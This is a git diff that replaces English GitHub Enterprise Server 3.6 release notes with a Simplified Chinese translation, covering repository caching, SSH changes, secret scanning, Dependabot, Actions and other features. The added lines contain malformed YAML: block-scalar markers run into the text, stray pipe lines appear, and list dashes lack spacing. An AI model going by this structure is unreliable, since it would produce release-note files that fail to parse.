2022-11-28] - - '{% data reusables.release-notes.babeld-max-threads-performance-issue %}' \ No newline at end of file + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中 Blob 的永久链接,且 Blob 的文件路径长度超过 255 个字符,则无法关闭问题。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 + - 从不同主机上的备份恢复设备后,需要重新启动操作服务。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-6/0-rc1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-6/0-rc1.yml index d4c97c5267..0f6547b8ce 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-6/0-rc1.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-6/0-rc1.yml @@ -3,296 +3,337 @@ release_candidate: true deprecated: true intro: | {% note %} - - **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend that you only run release candidates in a test environment. - + + 注意:如果 {% data variables.product.product_location %} 正在运行候选发布版本,则无法使用热补丁升级****。建议仅在测试环境中运行候选发布版本。 + {% endnote %} - - For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." + + 有关升级说明,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。 sections: features: - - heading: Infrastructure + - heading: 基础结构 notes: # https://github.com/github/releases/issues/2002 - - | - Repository caching is generally available. Repository caching increases Git read performance for distributed developers, providing the data locality and convenience of geo-replication without impact on push workflows. With the general availability release, GitHub Enterprise Server caches both Git and Git LFS data. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)." + - |存储库缓存已正式发布。存储库缓存提高了分散的开发人员的 Git 读取性能,提供数据本地性和异地复制的便利性,而不会影响推送工作流。随着正式版本的发布,GitHub Enterprise Server 可缓存 Git 和 Git LFS 数据。有关详细信息,请参阅“[关于存储库缓存](/admin/enterprise-management/caching-repositories/about-repository-caching)”。 - - heading: Instance security +| + - heading: 实例安全性 notes: # https://github.com/github/releases/issues/1569 - - | - GitHub has changed the supported algorithms and hash functions for all SSH connections to GitHub Enterprise Server, disabled the unencrypted and unauthenticated Git protocol, and optionally allowed the advertisement of an Ed25519 host key. For more information, see the [GitHub Blog](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server/) and the following articles. + - |GitHub 更改了与 GitHub Enterprise Server 的所有 SSH 连接支持的算法和哈希函数,禁用了未加密和未经身份验证的 Git 协议,并可选择地允许播发 Ed25519 主机密钥。有关详细信息,请参阅 [GitHub 博客](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server/)和以下文章。 - - "[Configuring SSH connections to your instance](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)" - - "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)" - - "[Configuring host keys for your instance](/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance)" + +-“[配置与实例的 SSH 连接](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)” + +-“[在企业中实施存储库管理策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)” + +-“[为实例配置主机密钥](/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance)” + +| # https://github.com/github/releases/issues/2341 - - | - You can require TLS encryption for incoming SMTP connections to your instance. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)." + - |可以要求对与实例的传入 SMTP 连接进行 TLS 加密。有关详细信息,请参阅“[配置通知电子邮件](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)”。 - - heading: Audit logs +| + - heading: 审核日志 notes: # https://github.com/github/releases/issues/1438 - - | - You can stream audit log and Git events for your instance to Amazon S3, Azure Blob Storage, Azure Event Hubs, Google Cloud Storage, or Splunk. Audit log streaming is in public beta and subject to change. For more information, see "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)." + - |可以将实例的审核日志和 Git 事件流式传输到 Amazon S3、Azure Blob 存储、Azure 事件中心、Google Cloud Storage 或 Splunk。审核日志流式处理处于公开测试阶段,可能会发生更改。有关详细信息,请参阅“[为企业流式处理审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)”。 +| - heading: GitHub Connect notes: # https://github.com/github/releases/issues/2306 - - | - Server Statistics is now generally available. Server Statistics collects aggregate usage data from your GitHub Enterprise Server instance, which you can use to better anticipate the needs of your organization, understand how your team works, and show the value you get from GitHub Enterprise Server. For more information, see "[About Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)." + - |服务器统计信息现已正式发布。服务器统计信息从 GitHub Enterprise Server 实例中收集聚合使用情况数据,你可以使用这些数据更好地预测组织的需求,了解团队的工作方式,并显示从 GitHub Enterprise Server 获取的值。有关详细信息,请参阅“[关于服务器统计信息](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)”。 - - heading: Administrator experience +| + - heading: 管理员体验 notes: # https://github.com/github/releases/issues/2351 - - | - Enterprise owners can join organizations on the instance as a member or owner from the enterprise account's **Organizations** page. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)." + - |企业所有者可以从企业帐户的“组织”页面作为成员或所有者加入实例上的组织****。有关详细信息,请参阅“[管理在企业拥有的组织中的角色](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)”。 +| # https://github.com/github/releases/issues/2221 - - | - Enterprise owners can allow users to dismiss the configured global announcement banner. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." + - |企业所有者可以允许用户关闭已配置的全局公告横幅。有关详细信息,请参阅“[为企业自定义用户消息](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)”。 - - heading: GitHub Advanced Security +| + - heading: GitHub 高级安全 notes: # https://github.com/github/releases/issues/2321 - - | - Users on an instance with a GitHub Advanced Security license can opt to receive a webhook event that triggers when an organization owner or repository administrator enables or disables a code security or analysis feature. For more information, see the following documentation. - - - "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#security_and_analysis)" in the webhook documentation - - "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)" - - "[Managing security and analysis features for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" + - |拥有 GitHub 高级安全许可证的实例上的用户可以选择接收当组织所有者或存储库管理员启用或禁用代码安全或分析功能时触发的 Webhook 事件。有关详细信息,请参阅以下文档。 + + +- Webhook 文档中的“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#security_and_analysis)” + +-“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)” + +-“[管理存储库的安全和分析功能](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)” + +| # https://github.com/github/releases/issues/2191 - - | - Users on an instance with a GitHub Advanced Security license can optionally add a comment when dismissing a code scanning alert in the web UI or via the REST API. Dismissal comments appear in the event timeline. Users can also add or retrieve a dismissal comment via the REST API. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests#dismissing-an-alert-on-your-pull-request)" and "[Code Scanning](/rest/code-scanning#update-a-code-scanning-alert)" in the REST API documentation. + - |拥有 GitHub 高级安全许可证的实例上的用户可以选择在 Web UI 中或通过 REST API 关闭代码扫描警报时添加注释。消除注释出现在事件时间线中。用户还可以通过 REST API 添加或检索消除注释。有关详细信息,请参阅 REST API 文档中的“[在拉取请求中对代码扫描警报进行会审](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests#dismissing-an-alert-on-your-pull-request)”和“[代码扫描](/rest/code-scanning#update-a-code-scanning-alert)”。 +| # https://github.com/github/releases/issues/2228 - - | - On instances with a GitHub Advanced Security license, secret scanning prevents the leak of secrets in the web editor. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#using-secret-scanning-as-a-push-protection-from-the-web-ui)." + - |在拥有 GitHub 高级安全许可证的实例上,机密扫描可防止 Web 编辑器中的机密泄漏。有关详细信息,请参阅“[使用机密扫描保护推送](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#using-secret-scanning-as-a-push-protection-from-the-web-ui)”。 +| # https://github.com/github/releases/issues/2318 # https://github.com/github/releases/issues/2277 - - | - Enterprise owners and users on an instance with a GitHub Advanced Security license can view secret scanning alerts and bypasses of secret scanning's push protection in the enterprise and organization audit logs, and via the REST API. For more information, see the following documentation. - - - "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)" - - "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#secret_scanning_push_protection-category-actions)" - - "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#secret_scanning_push_protection-category-actions)" - - "[Secret Scanning](/rest/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)" in the REST API documentation + - |拥有 GitHub 高级安全许可证的实例上的企业所有者和用户可以在企业和组织审核日志中以及通过 REST API 查看机密扫描警报和绕过机密扫描推送保护的情况。有关详细信息,请参阅以下文档。 + + +-“[使用机密扫描保护推送](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)” + +-“[企业的审核日志事件](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#secret_scanning_push_protection-category-actions)” + +-“[审查组织的审核日志](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#secret_scanning_push_protection-category-actions)” + +- REST API 文档中的“[机密扫描](/rest/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)” + +| # https://github.com/github/releases/issues/2230 # https://github.com/github/releases/issues/2317 - - | - Enterprise owners on an instance with a GitHub Advanced Security license can perform dry runs of custom secret scanning patterns for the enterprise, and all users can perform dry runs when editing a pattern. Dry runs allow you to understand a pattern's impact across the entire instance and hone the pattern before publication and generation of alerts. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + - |拥有 GitHub 高级安全许可证的实例上的企业所有者可以为企业执行自定义机密扫描模式的试运行,并且所有用户都可以在编辑模式时执行试运行。试运行允许你了解模式对整个实例的影响,并在发布和生成警报之前训练模式。有关详细信息,请参阅“[定义机密扫描的自定义模式](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)”。 +| # https://github.com/github/releases/issues/2236 - - | - Users on an instance with a GitHub Advanced Security license can use `sort` and `direction` parameters in the REST API when retrieving secret scanning alerts, and sort based on the alert’s `created` or `updated` fields. The new parameters are available for the entire instance, or for individual organizations or repositories. For more information, see the following documentation. - - - "[List secret scanning alerts for an enterprise](/rest/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)" - - "[List secret scanning alerts for an organization](/rest/secret-scanning#list-secret-scanning-alerts-for-an-organization)" - - "[List secret scanning alerts for a repository](/rest/secret-scanning#list-secret-scanning-alerts-for-a-repository)" - - "[Secret Scanning](/rest/secret-scanning)" in the REST API documentation + - |拥有 GitHub 高级安全许可证的实例上的用户可以在检索机密扫描警报时使用 REST API 中的 `sort` 和 `direction` 参数,并根据警报的“已创建”或“已更新”字段进行排序。新参数可用于整个实例,也可用于单个组织或存储库。有关详细信息,请参阅以下文档。 + + +-“[列出企业的机密扫描警报](/rest/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)” + +-“[列出组织的机密扫描警报](/rest/secret-scanning#list-secret-scanning-alerts-for-an-organization)” + +-“[列出存储库的机密扫描警报](/rest/secret-scanning#list-secret-scanning-alerts-for-a-repository)” + +- REST API 文档中的“[机密扫描](/rest/secret-scanning)” + +| # https://github.com/github/releases/issues/2263 - - | - The contents of the `github/codeql-go` repository have moved to the `github/codeql` repository, to live alongside similar libraries for all other programming languages supported by CodeQL. The open-source CodeQL queries, libraries, and extractor for analyzing codebases written in the Go programming language with GitHub's CodeQL code analysis tools can now be found in the new location. For more information, including guidance on migrating your existing workflows, see [github/codeql-go#741](https://github.com/github/codeql-go/issues/741). + - |`github/codeql-go` 存储库的内容已移至 `github/codeql` 存储库,与 CodeQL 支持的所有其他编程语言的类似库一起存在。现在,可以在新位置找到用于使用 GitHub 的 CodeQL 代码分析工具分析以 Go 编程语言编写的代码库的开源 CodeQL 查询、库和提取器。有关详细信息,包括有关迁移现有工作流的指南,请参阅 [github/codeql-go#741](https://github.com/github/codeql-go/issues/741)。 +| - heading: Dependabot notes: # https://github.com/github/releases/issues/2256 - - | - Enterprise owners on instances with a GitHub Advanced Security license can see an overview of Dependabot alerts for the entire instance, including a repository-centric view of application security risks, and an alert-centric view of all secret scanning and Dependabot alerts. The views are in beta and subject to change, and alert-centric views for code scanning are planned for a future release of GitHub Enterprise Server. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview#viewing-the-security-overview-for-an-enterprise)." + - |拥有 GitHub 高级安全许可证的实例的企业所有者可以查看整个实例的 Dependabot 警报概述,包括以存储库为中心的应用程序安全风险视图,以及以警报为中心的所有机密扫描和 Dependabot 警报视图。这些视图为 beta 版本,可能会发生更改,并且计划在 GitHub Enterprise Server 的未来版本中使用以警报为中心的代码扫描视图。有关详细信息,请参阅“[查看安全概述](/code-security/security-overview/viewing-the-security-overview#viewing-the-security-overview-for-an-enterprise)”。 +| # https://github.com/github/releases/issues/2160 - - | - Users can select multiple Dependabot alerts, then dismiss or reopen or dismiss the alerts. For example, from the **Closed alerts** tab, you can select multiple alerts that have been previously dismissed, and then reopen them all at once. For more information, see "[About Dependabot alerts](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)." + - |用户可以选择多个 Dependabot 警报,然后消除或重新打开警报。例如,从“已关闭的警报”选项卡中,可以选择多个先前已消除的警报,然后一次性重新打开它们****。有关详细信息,请参阅“[关于 Dependabot 警报](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)”。 +| # https://github.com/github/releases/issues/2232 - - | - Dependabot updates `@types` dependencies alongside corresponding packages in TypeScript projects. Before this change, users would see separate pull requests for a package and the corresponding `@types` package. This feature is automatically enabled for repositories containing `@types` packages in the project's `devDependencies` within the _package.json_ file. You can disable this behavior by setting the [`ignore`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#ignore) field in your `dependabot.yml` file to `@types/*`. For more information, see "[About Dependabot version updates](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates)" and "[Configuration options for the _dependabot.yml_ file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file)." + - |Dependabot 会在 TypeScript 项目中更新 `@types` 依赖项以及相应的包。在此更改之前,用户会看到对包和相应的 `@types` 包的单独拉取请求。为 _package.json_ 文件内项目的 `devDependencies` 中包含 `@types` 包的存储库自动启用此功能。可以通过在 `dependabot.yml` 中将 [`ignore`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#ignore) 字段设置为 `@types/*` 来禁用此行为。有关详细信息,请参阅“[关于 Dependabot 版本更新](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates)”和“[_dependabot.yml_ 文件的配置选项](/code -security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file)”。 - - heading: Code security +| + - heading: 代码安全 notes: # https://github.com/github/releases/issues/2098 # https://github.com/github/releases/issues/2282 - - | - GitHub Actions can enforce dependency reviews on users' pull requests by scanning for dependencies, and will warn users about associated security vulnerabilities. The `dependency-review-action` action is supported by a new API endpoint that diffs the dependencies between any two revisions. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-enforcement)." + - |GitHub Actions 可以通过扫描依赖项来对用户的拉取请求执行依赖项审查,并警告用户相关的安全漏洞。`dependency-review-action` 操作由一个新的 API 终结点支持,该终结点区分任意两个修订版之间的依赖项。有关详细信息,请参阅“[关于依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-enforcement)”。 +| # https://github.com/github/releases/issues/2243 - - | - The dependency graph detects _Cargo.toml_ and _Cargo.lock_ files for Rust. These files will be displayed in the **Dependency graph** section of the **Insights** tab. Users will receive Dependabot alerts and updates for vulnerabilities associated with their Rust dependencies. Package metadata, including mapping packages to repositories, will be added at a later date. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." + - |依赖项关系图检测 Rust 的 _Cargo.toml_ 和 _Cargo.lock_ 文件。这些文件将显示在“见解”选项卡的“依赖项关系图”部分********。用户将收到 Dependabot 警报和更新,以了解与其 Rust 依赖项相关的漏洞。今后会添加包元数据,包括将包映射到存储库。有关详细信息,请参阅“[关于依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)”。 +| # https://github.com/github/releases/issues/1766 - - | - If GitHub Connect is enabled for your instance, users can contribute an improvement to a security advisory in the [GitHub Advisory Database](https://github.com/advisories). To contribute, click **Suggest improvements for this vulnerability** while viewing an advisory's details. For more information, see the following articles. - - - "[Managing GitHub Connect](/admin/configuration/configuring-github-connect/managing-github-connect)" - - "[Browsing security vulnerabilities in the GitHub Advisory Database](/enterprise-cloud@latest/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" in the GitHub Enterprise Cloud documentation - - "[About GitHub Security Advisories for repositories](/enterprise-cloud@latest/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)" in the GitHub Enterprise Cloud documentation - - "[Editing security advisories in the GitHub Advisory Database](/enterprise-cloud@latest/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database)" in the GitHub Enterprise Cloud documentation + - |如果为实例启用 GitHub Connect,用户可以为 [GitHub Advisory Database](https://github.com/advisories) 中的安全公告做出改进。若要做出贡献,请在查看公告详细信息时单击“此漏洞的建议改进”****。有关详细信息,请参阅以下文章。 - - heading: GitHub Actions + + +-“[管理 GitHub Connect](/admin/configuration/configuring-github-connect/managing-github-connect)” + +- GitHub Enterprise Cloud 文档中的“[在 GitHub Advisory Database 中浏览安全漏洞](/enterprise-cloud@latest/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)” + +- GitHub Enterprise Cloud 文档中的“[关于存储库的 GitHub 安全公告](/enterprise-cloud@latest/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)” + +- GitHub Enterprise Cloud 文档中的“[在 GitHub Advisory Database 中编辑安全公告](/enterprise-cloud@latest/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database)” + +| + - heading: GitHub 操作 notes: # https://github.com/github/releases/issues/2159 - - | - Within a workflow that calls a reusable workflow, users can pass the secrets to the reusable workflow with `secrets: inherit`. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-inputs-and-secrets-in-a-reusable-workflow)." + - |在调用可重用工作流的工作流中,用户可以使用 `secrets: inherit` 将机密传递给可重用工作流。有关详细信息,请参阅“[可重用工作流](/actions/using-workflows/reusing-workflows#using-inputs-and-secrets-in-a-reusable-workflow)”。 +| # https://github.com/github/releases/issues/2102 - - | - When using GitHub Actions, to reduce the risk of merging a change that was not reviewed by another person into a protected branch, enterprise owners and repository administrators can prevent Actions from creating pull requests. Organization owners could previously enable this restriction. For more information, see the following articles. + - |使用 GitHub Actions 时,为了降低将未经他人审核的更改合并到受保护分支的风险,企业所有者和存储库管理员可以阻止 Actions 创建拉取请求。组织所有者以前可以启用此限制。有关详细信息,请参阅以下文章。 - - "[Enforcing policies for GitHub Actions in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)" - - "[Disabling or limiting GitHub Actions for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests)" - - "[Managing GitHub Actions settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)" + +-“[在企业中强制实施 GitHub Actions 策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)” + +-“[禁用或限制组织的 GitHub Actions](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests)” + +-“[管理存储库的 GitHub Actions 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)” + +| # https://github.com/github/releases/issues/2155 - - | - Users can write a single workflow triggered by `workflow_dispatch` and `workflow_call`, and use the `inputs` context to access input values. Previously, `workflow_dispatch` inputs were in the event payload, which increased difficulty for workflow authors who wanted to write one workflow that was both reusable and manually triggered. For workflows triggered by `workflow_dispatch`, inputs are still available in the `github.event.inputs` context to maintain compatibility. For more information, see "[Contexts](/actions/learn-github-actions/contexts#inputs-context)." + - |用户可以编写由 `workflow_dispatch` 和 `workflow_call` 触发的单个工作流,并使用 `inputs` 上下文访问输入值。以前,`workflow_dispatch` 输入位于事件有效负载中,这增加了想要编写一个可重用和手动触发的工作流的工作流作者的难度。对于由 `workflow_dispatch` 触发的工作流,在 `github.event.inputs` 上下文中仍然可以使用输入以保持兼容性。 有关详细信息,请参阅“[上下文](/actions/learn-github-actions/contexts#inputs-context)”。 +| # https://github.com/github/releases/issues/2103 - - | - To summarize the result of a job, users can generate Markdown and publish the contents as a job summary. For example, after running tests with GitHub Actions, a summary can provide an overview of passed, failed, or skipped tests, potentially reducing the need to review the full log output. For more information, see "[Workflow commands for GitHub Actions](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary)." + - |为了总结作业的结果,用户可以生成 Markdown 并将内容发布为作业摘要。例如,在使用 GitHub Actions 运行测试后,摘要可以提供通过、失败或跳过的测试的概述,从而可能减少查看完整日志输出的需要。有关详细信息,请参阅“[GitHub Actions 的工作流命令](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary)”。 +| # https://github.com/github/releases/issues/2161 - - | - To more easily diagnose job execution failures during a workflow re-run, users can enable debug logging, which outputs information about a job's execution and environment. For more information, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)" and "[Using workflow run logs](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." + - |为了在工作流重新运行期间更轻松地诊断作业执行失败,用户可以启用调试日志记录,它会输出有关作业执行和环境的信息。有关详细信息,请参阅“[重新运行工作流和作业](/actions/managing-workflow-runs/re-running-workflows-and-jobs)”和“[使用工作流运行日志](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)”。 +| # https://github.com/github/releases/issues/2140 - - | - If you manage self-hosted runners for GitHub Actions, you can ensure a consistent state on the runner itself before and after a workflow run by defining scripts to execute. By using scripts, you no longer need to require that users manually incorporate these steps into workflows. Pre- and post-job scripts are in beta and subject to change. For more information, see "[Running scripts before or after a job](/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job)." + - |如果你管理 GitHub Actions 的自承载运行器,则可以通过定义要执行的脚本来确保运行器本身在工作流运行之前和之后的状态一致。通过使用脚本,你不再需要用户手动将这些步骤合并到工作流中。作业前和作业后脚本为 beta 版本,可能会发生更改。有关详细信息,请参阅“[在作业之前或之后运行脚本](/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job)”。 - - heading: GitHub Packages +| + - heading: GitHub 包 notes: # https://github.com/github/releases/issues/2334 - - | - Enterprise owners can migrate container images from the GitHub Docker registry to the GitHub Container registry. The Container registry provides the following benefits. - - - Improves the sharing of containers within an organization - - Allows the application of granular access permissions - - Permits the anonymous sharing of public container images - - Implements OCI standards for hosting Docker images - - The Container registry is in beta and subject to change. For more information, see "[Migrating your enterprise to the Container registry from the Docker registry](/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry)." + - |企业所有者可以将容器映像从 GitHub Docker 注册表迁移到 GitHub 容器注册表。该容器注册表具有以下优势。 - - heading: Community experience + + +- 改进组织中容器的共享 + +- 允许应用粒度精细的访问权限 + +- 允许匿名共享公共容器映像 + +- 实施用于托管 Docker 映像的 OCI 标准 + + + +该容器注册表为 beta 版本,可能会发生更改。有关详细信息,请参阅“[将企业从 Docker 注册表迁移到容器注册表](/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry)”。 + +| + - heading: 社区体验 notes: # https://github.com/github/releases/issues/2113 - - | - GitHub Discussions is available for GitHub Enterprise Server. GitHub Discussions provides a central gathering space to ask questions, share ideas, and build connections. For more information, see "[GitHub Discussions](/discussions)." + - |GitHub Discussions 可用于 GitHub Enterprise Server。GitHub Discussions 提供了一个集中的聚集空间来提出问题、分享想法和建立联系。有关详细信息,请参阅“[GitHub Discussions](/discussions)”。 +| # https://github.com/github/releases/issues/2259 - - | - Enterprise owners can configure a policy to control whether people's usernames or full names are displayed within internal or public repositories. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-display-of-member-names-in-your-repositories)." + - |企业所有者可以配置策略来控制人员的用户名或全名是否显示在内部或公共存储库中。有关详细信息,请参阅“[在企业中强制实施存储库管理策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy -for-the-display-of-member-names-in-your-repositories)”。 - - heading: Organizations +| + - heading: 组织 notes: # https://github.com/github/releases/issues/2019 - - | - Users can create member-only READMEs for an organization. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)." + - |用户可以为组织创建成员专用 README。有关详细信息,请参阅“[自定义组织的配置文件](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)”。 +| # https://github.com/github/releases/issues/2234 - - | - Organization owners can pin a repository to an organization's profile directly from the repository via the new **Pin repository** dropdown. Pinned public repositories appear to all users of your instance, while public, private, and internal repositories are only visible to organization members. + - |组织所有者可以通过新的“固定存储库”下拉菜单直接从存储库将存储库固定到组织的配置文件****。固定的公共存储库对实例的所有用户可见,而公共、专用和内部存储库仅对组织成员可见。 - - heading: Repositories +| + - heading: 存储库 notes: # https://github.com/github/releases/issues/2214 - - | - While creating a fork, users can customize the fork's name. For more information, see "[Fork a repo](/get-started/quickstart/fork-a-repo)." + - |创建分支时,用户可以自定义分支的名称。有关详细信息,请参阅“[创建存储库分支](/get-started/quickstart/fork-a-repo)。 +| # https://github.com/github/releases/issues/1973 - - | - Users can block creation of branches that match a configured name pattern with the **Restrict pushes that create matching branches** branch protection rule. For example, if a repository's default branch changes from `master` to `main`, a repository administrator can prevent any subsequent creation or push of the `master` branch. For more information, see - "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#restrict-who-can-push-to-matching-branches)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule)." + - |用户可以使用“限制创建匹配分支的推送”分支保护规则来阻止创建与配置的名称模式匹配的分支****。例如,如果存储库的默认分支从 `master` 更改为 `main`,则存储库管理员可以阻止任何后续创建或推送 `master` 分支。有关详细信息,请参阅 